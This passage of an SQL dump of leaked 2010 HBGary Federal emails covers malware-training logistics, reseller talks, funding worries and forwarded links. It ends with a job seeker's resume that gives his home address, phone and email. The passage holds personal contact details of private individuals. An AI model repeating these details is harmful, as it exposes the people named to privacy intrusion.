Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Jim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs there room for our new employee, Mark Trynor, to sit in\r\nthe May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12 Malware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1140,'aaron_hbgary_com/1140.html'),(6105,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004387.M220676P14101Q960.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>,,','Re: HB Gary WebEx - thank you & next steps','Great. &nbsp;I am available on the 12th. &nbsp;I believe I have a 12pm appt. in Crystal City, should last no more than 90min. &nbsp;On the product side Rich will be the right person to get you the reseller agreement, slide decks, and product keys.I would definitely like to talk further about your developments with Palantir.cyber and how we might be able to leverage that in service engagements in the states as well as assisting/cooperating on investigations where we could provide malware analysis support.Aaron BarrCEOHBGary Federal719.510.8478On May 7, 2010, at 3:52 PM, Arnav Manchanda wrote:Dear Aaron,Many thanks to you and Rich Cummings for putting together a very thorough WebEx of your product and for being so candid with us, it was really great.We definitely see a lot of synergy between what we do and what you guys do. Rafal and Nart are going to be in Washington next week, so we\'ll try and get you all together for a meeting on the next steps. We\'re looking at the 12th of May, but not sure yet - would you be available that day?In terms of quick next steps:- On the product side, SecDev would definitely like to be the Canadian reseller for HBGary, with international reseller rights too - we\'re active in the UK, European and francophone cyber markets (as well as other international markets). Do you have a reseller agreement we can take a look at?- Would you be able to provide some informative slide decks on the various products HBGary offers, for our reference?- There is definitely a lot of possible synergy between your malware analysis tools, network traffic analysis and integration into a tool we\'re developing Palantir.cyber and into the Cloakroom suite of the two for analysis.- How many product keys would be you willing to provide for our use in-house? We really appreciate this offer.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n',13404,'aaron_hbgary_com/13404.html'),(6106,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004397.M578188P14101Q961.eml','\"Len Moodispaw\" <len@keywcorp.com>','Re: Introduction','Great.  It is to discuss my new company, HBGary Federal, and the sister company we are associated with, HBGary Inc.  Two areas I would like to discuss.\r\n\r\nMalware Analysis, Incident Response, and Threat Intelligence Products and Services.\r\n\r\nInformation Operations Services - Leaning on commercial development of capabilities (mobile, new media), but also discussing more traditional IO capabilities for vulnerability analysis and exploit development.\r\n\r\nAttached are some data sheets on some of the products.\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\nOn May 7, 2010, at 5:09 PM, Len Moodispaw wrote:\r\n\r\n> Aaron:\r\n>  I will be pleased to get together==query--- is it to discuss your new company ? If so, please send data to me so I can gather the right folks to meet you.\r\n>  \r\n> Len\r\n> \r\n>  \r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 07, 2010 8:47 AM\r\n> To: Len Moodispaw\r\n> Subject: Introduction\r\n>  \r\n> Hi Len,\r\n> \r\n> Although I am not sure if we ever met we have I think numerous mutual business relationships.  In my previous position I was a Technical Director with Northrop Grumman for Cyber and SIGINT, transitioning about 5 months ago.  Art Money suggested I talk with you at that point.  At the time I had already decided to start up a services company focused on information operations, incident response and threat detection.  I had lunch with Tom Conroy last week and we were talking about cyber and he suggested I should get in touch with you to discuss possible opportunities.\r\n> \r\n> If interested let me know when are some good dates to try and get together.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> Sent from my iPad\r\n\r\n\r\n\r\n',13183,'aaron_hbgary_com/13183.html'),(6107,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004398.M306344P14101Q962.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Latest Article','Begin forwarded message:From: Dave Willson &lt;willson.david.l@gmail.com&gt;\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Latest ArticleTed, attached is my latest article that I promised.  It was published today in CyberPro.\r\nDaveDavid L. Willson, Esq.CISSP, Security +719-554-2129w719-648-4176cWillson.David.L@Gmail.com\r\n&lt;Willson Single cyberpro_espionage_feature.pdf&gt;\r\n',7,'aaron_hbgary_com/7.html'),(6108,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004398.M621022P14101Q963.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Latest Article','Begin forwarded message:From: Dave Willson &lt;willson.david.l@gmail.com&gt;\r\nDate: May 7, 2010 5:07:20 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Re: Latest Article\r\nTed, sounds great.  I am beginning to start an information security consulting firm with two other guys to help businesses understand cyber risk, the laws and reg.s that they may need to comply with, industry best standards and practices for security, due diligence and due care, and provide overall risk assessment and security policy development to avoid security incident/data breach fines and potential lawsuits.  The name of the firm will by Trust Anchor if you want to use the name.  The website is: Http://www.trust-anchor.com.  This will be our main focus but I will also continue the Govt cyberspace consulting work as well.  Let me know what you need.\r\nDaveDavid L. Willson, Esq.CISSP, Security +719-554-2129w719-648-4176cWillson.David.L@Gmail.com\r\n----- Original Message ----- From: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;To: &quot;Dave Willson&quot; &lt;willson.david.l@gmail.com&gt;\r\nSent: Friday, May 07, 2010 4:32 PMSubject: Re: Latest ArticleThanks Dave,\r\nWe have an opportunity coming up, proposal this summer, work begins inSeptember. We&#39;d like to discuss you, your quals, capabilities, and\r\nresume with the Prime. Would that be ok?Ted\r\nOn May 7, 2010, at 4:29 PM, Dave Willson &lt;willson.david.l@gmail.com&gt;\r\nwrote:Ted, attached is my latest article that I promised.  It was\r\npublished today in CyberPro.\r\nDave\r\nDavid L. Willson, Esq.CISSP, Security +\r\n719-554-2129w719-648-4176c\r\nWillson.David.L@Gmail.com&lt;Willson Single cyberpro_espionage_feature.pdf&gt; \r\n\r\n',10771,'aaron_hbgary_com/10771.html'),(6109,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004398.M890801P14101Q964.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Training','I am curious if/when I will see a response, lol...  I think the training idea is a good one, we can ramp up on the basic courses pretty quickly, and get into a teaming arrangement with TASC, talk it up within the ISSA, local customers, etc. I&#39;m actually kinda excited about the possibilities, and the revenue potential. \r\nTvBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: May 7, 2010 3:54:33 PM MDT\r\nTo: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;Cc: Hoglund Greg &lt;greg@hbgary.com&gt;, Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSubject: Re: TrainingAfter Mark is trained up on the tools, what do you think about us conducting the basic courses here in Colorado Springs? I could promote it, and think that there would be enough interest between Colorado Springs and Denver to fill the seats. I&#39;ve taught classes for years and with a little ramp up Mark and I would be comfortable delivering the course material. It could help us get leads for incident response and services gigs, and help bring in some revenue. I know people at TechWise and other training centers we could rent their facilities that have PCs, projectors and everything we&#39;d need...\r\n\r\nWhat do you think?TedOn May 7, 2010, at 2:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nThe training is at the office, we built out the room upstairs. \r\nYes we are having a mixer\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMark will be out in Sacramento next week attending the\r\nMalware RE training. Will you be having a mixer like last time? I&#39;d like him to\r\nstop by the office to see the facility and meet you and the team. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I&#39;m booked.  You wouldn&#39;t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\n\r\n\r\nCan you reply to all once you&#39;ve decided if you can go, so\r\nJim\r\n\r\n\r\n\r\nreserves the slot.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs a matter of fact, there is 1 seat available! Send him\r\nout!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 |\r\nFax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite: www.hbgary.com\r\n| email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Wednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Richards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: Mark Trynor; Barr Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Jim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs there room for our new employee, Mark Trynor, to sit in\r\nthe May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12 Malware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',371,'aaron_hbgary_com/371.html'),(6110,'2010-05-08','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004399.M305460P14101Q965.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','iPhone 3G gets an Android port to call its own (video) -- Engadget','Mark, now you can get an iPhone!\r\n\r\n\r\nhttp://www.engadget.com/2010/05/07/iphone-3g-gets-an-android-port-to-call-its-own-video/\r\n',2133,'aaron_hbgary_com/2133.html'),(6111,'2010-05-08','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004399.M522615P14101Q966.eml','\"Barr Aaron\" <aaron@hbgary.com>','Concord, MA to be First U.S. Town to Ban Bottled Water : TreeHugger','It\'s about time...\r\n\r\nhttp://www.treehugger.com/files/2010/05/concord_ma_to_be_first_us_town_to_ban_bottled_water.php\r\n',12175,'aaron_hbgary_com/12175.html'),(6112,'2010-05-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004399.M747427P14101Q967.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Funding','Penny/Greg,\r\n\r\nWe need to have a conversation about funding, our pipeline, and path\r\nforward.  We are dangerously low on funds.  To the point we paid mark\r\nthis week but could not pay ourselves.\r\n\r\nPlease let\'s set up something for Monday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',11534,'aaron_hbgary_com/11534.html'),(6113,'2010-05-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004399.M967665P14101Q968.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update','Begin forwarded message:From: &quot;Clinton Eads&quot; &lt;clinteads@msn.com&gt;\r\nDate: May 7, 2010 8:16:55 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Update\r\n\r\n\r\n \r\nHi Ted!\r\n \r\nI didn&#39;t get a chance to give you a call today, but I \r\nwanted to catch you up on what has happened.\r\n \r\nI have started work on ROMAS as Eric Jenssen and Eric \r\nHallam are leaving.  Eric J. has taken a\r\nposition in Virginia with Xetron, and Eric H. is taking \r\na position in TASC.  This freed up \r\nan opportunity for me to take a position in ROMAS doing \r\nweb work. \r\n \r\nI must say, that web work is not my forte, as I knew \r\nseveral others that did this kind of work. \r\n',15261,'aaron_hbgary_com/15261.html'),(6114,'2010-05-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004400.M177656P14101Q969.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Update','I retook ownership of my second life avatar... Turns out he still owns the islands.  I reallynwant to hurt dan.  What are the things we can hire Clint for?  Who else would hurt them?\r\nAaronSent from my iPadOn May 7, 2010, at 10:49 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBegin forwarded message:From: &quot;Clinton Eads&quot; &lt;clinteads@msn.com&gt;\r\n\r\nDate: May 7, 2010 8:16:55 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Update\r\n\r\n\r\n\r\n \r\nHi Ted!\r\n \r\nI didn&#39;t get a chance to give you a call today, but I \r\nwanted to catch you up on what has happened.\r\n \r\nI have started work on ROMAS as Eric Jenssen and Eric \r\nHallam are leaving.  Eric J. has taken a\r\nposition in Virginia with Xetron, and Eric H. is taking \r\na position in TASC.  This freed up \r\nan opportunity for me to take a position in ROMAS doing \r\nweb work. \r\n \r\nI must say, that web work is not my forte, as I knew \r\nseveral others that did this kind of work. \r\n&lt;Smile&gt;\r\n',15430,'aaron_hbgary_com/15430.html'),(6115,'2010-05-08','\"AT&T Virtual Receptionist\" <attnotify@ringcentral.com>','/aaron@hbgary.com/new/1297004402.M774622P14101Q970.eml','\"Aaron Barr\" <aaron@hbgary.com>','New Voice Message from (620) 435-6564 on 05/08/2010 at 06:47 AM','\r\n\r\nYou have voicemail!\r\n\r\nbody {\r\n	/*margin-left: 6px; margin-top:  6px;*/\r\n}\r\n.title {\r\n	background-position: left 50%; padding-left: 10px; font-weight: bold; font-size: 14px; color: #000066; font-family: Arial\r\n}\r\n.blsubtitles {\r\n	padding-left: 10px; font-weight: bold; font-size: 12px; color: #000066; font-family: Arial\r\n}\r\n.lptext {\r\n	background-position: left 50%; padding-left: 10px; padding-right:10px; font-weight: normal; font-size: 12px; color: #000066; font-family: Arial; text-align: left\r\n}\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              You Have a New Voice Message\r\n            \r\n          \r\n          \r\n            \r\n							\r\n                \r\n                  From: \r\n                  (620) 435-6564\r\n                \r\n                \r\n                  Received: \r\n                  Saturday, May 08, 2010 at 06:47 AM\r\n                \r\n                \r\n                  Length: \r\n                  04:54\r\n                \r\n                \r\n                  To: \r\n                  (888) 260-4790 (Aaron Barr)\r\n                \r\n              \r\n						\r\n          \r\n          \r\n            \r\n              \r\n		To listen to this message, please open the attachment or login to your AT&T Virtual Receptionist\r\n		account by clicking  here.\r\n              	Thank you for using AT&amp;T Virtual Receptionist.\r\n							\r\n						\r\n          \r\n        \r\n      \r\n		\r\n  \r\n\r\n\r\n\r\n\r\n\r\n',2067,'aaron_hbgary_com/2067.html'),(6116,'2010-05-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004404.M974764P14101Q971.eml','\"Barr Aaron\" <aaron@hbgary.com>','Meet with Paul Bartock','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHas been changed to 8:30am.&nbsp; You can attend if you want.&nbsp; Same\r\nhotel\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14444,'aaron_hbgary_com/14444.html'),(6117,'2010-05-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004409.M991501P14101Q972.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Meet with Paul Bartock','I am really starting to get unhappy.Sent from my iPadBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: May 8, 2010 11:48:18 AM EDTTo: &quot;&#39;Barr Aaron&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: Meet with Paul Bartock\r\n\r\n\r\n\r\n\r\nHas been changed to 8:30am.  You can attend if you want.  Same\r\nhotel\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',980,'aaron_hbgary_com/980.html'),(6118,'2010-05-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004410.M236278P14101Q973.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Meet with Paul Bartock','Same guy?  Before i thought u wanted me up there.  What org is he with?  If I am not going to add benefit or possibility of selling services then no need.  What is your thought?\r\nAaronSent from my iPadOn May 8, 2010, at 11:48 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHas been changed to 8:30am.  You can attend if you want.  Same\r\nhotel\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6769,'aaron_hbgary_com/6769.html'),(6119,'2010-05-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004410.M480814P14101Q974.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#6432w74dsqjbrdpf','Begin forwarded message:From: &lt;Free27safety@aol.com&gt;\r\nDate: May 8, 2010 8:54:18 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #6432w74dsqjbrdpf\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWyatt  Heberlig \r\n990 Big Spring Road\r\nShippensburg, PA  17257\r\nUS\r\nFree27safety@aol.com\r\n\r\n\r\n\r\n\r\n\r\nMobile:   \r\nHome: (717) 776-6471Contact Preference: Email\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\n6432w74dsqjbrdpf   Resume Headline: Intelligence Analyst Soldier looking for real world application  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nOBJECTIVE:\r\nI wish to further myself educationally as well positionally.  I want to learn and gain experience.  I&#39;m excited to develop new skills and take on difficult or impossible odds and turn work into a new experience each and every day.\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nEXPERIENCE:\r\n9/2009 - Present\r\nINTERPOL\r\n\r\n\r\n\r\n\r\n\r\n											Industry: Government and Military\r\n\r\n\r\n\r\nAnalyst\r\n\r\n\r\n\r\n\r\n\r\n\r\nI have worked on 1200 case files.  Analyized each one&#39;s significance and dubbed the file closed or open.  Engaged in creating hard copies.  Communicated with foreign INTERPOL offices to reopen and close said cases.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n7/2007 - 9/2008\r\nArtel Inc.\r\n\r\n\r\n\r\n\r\n\r\n											Industry: Computer/IT Services\r\n\r\n\r\n\r\nIntern Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\nPriorities included recording developments, inviting, manual set up, backgrond checks, and agenda planning for three hundred or more person workshops.\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nEDUCATION:\r\n\r\nCochise College\r\n\r\n\r\n\r\n\r\nSome College Coursework Completed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nShippensburg University\r\n\r\n\r\n\r\n\r\nSome College Coursework Completed\r\n\r\n\r\n\r\nPsychology BA Major, Intelligence Operations Assoc., 3.3 GPA, Dean&#39;s List Fall 2008\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nCERTIFICATION:\r\n2/2008\r\n\r\n\r\n\r\n\r\nCardio-Pulmonary Resucitation Certification\r\n\r\n\r\n\r\n\r\n\r\n\r\n2/2006\r\nUnited States Army Intelligence School\r\n\r\n\r\n\r\nIntelligence Analyst\r\n\r\n\r\n\r\n35F Military Occupation Certified\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nSKILLS:\r\nSkill Name\r\nSkill Level\r\n\r\n\r\n\r\nData analysis and presentation\r\nExpert\r\n\r\n\r\n\r\nDissemination\r\nExpert\r\n\r\n\r\n\r\nThreat Identification\r\nExpert\r\n\r\n\r\n\r\nReport writing\r\nIntermediate\r\n\r\n\r\n\r\nAnalytical Skills\r\nExpert\r\n\r\n\r\n\r\nBehavioral Interviewing\r\nIntermediate\r\n\r\n\r\n\r\nIntelligence Overview\r\nExpert\r\n\r\n\r\n\r\nPistol Qualified\r\nIntermediate\r\n\r\n\r\n\r\nObservational\r\nExpert\r\n\r\n\r\n\r\nBasic Rifleman Qualified\r\nIntermediate\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nLANGUAGES:\r\nLanguages\r\nProficiency Level\r\n\r\n\r\n\r\nSpanish\r\nBeginner\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nCAREER HIGHLIGHTS:\r\nGraduation from Basic and Advanced US Army TrainingBeing the Host of the 5th DoD IA Tools WorkshopSPC/E4\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nExperienced (Non-Manager)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n2+ to 5 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nIntelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlternate Target Job Title:\r\nSecurity Expert\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job 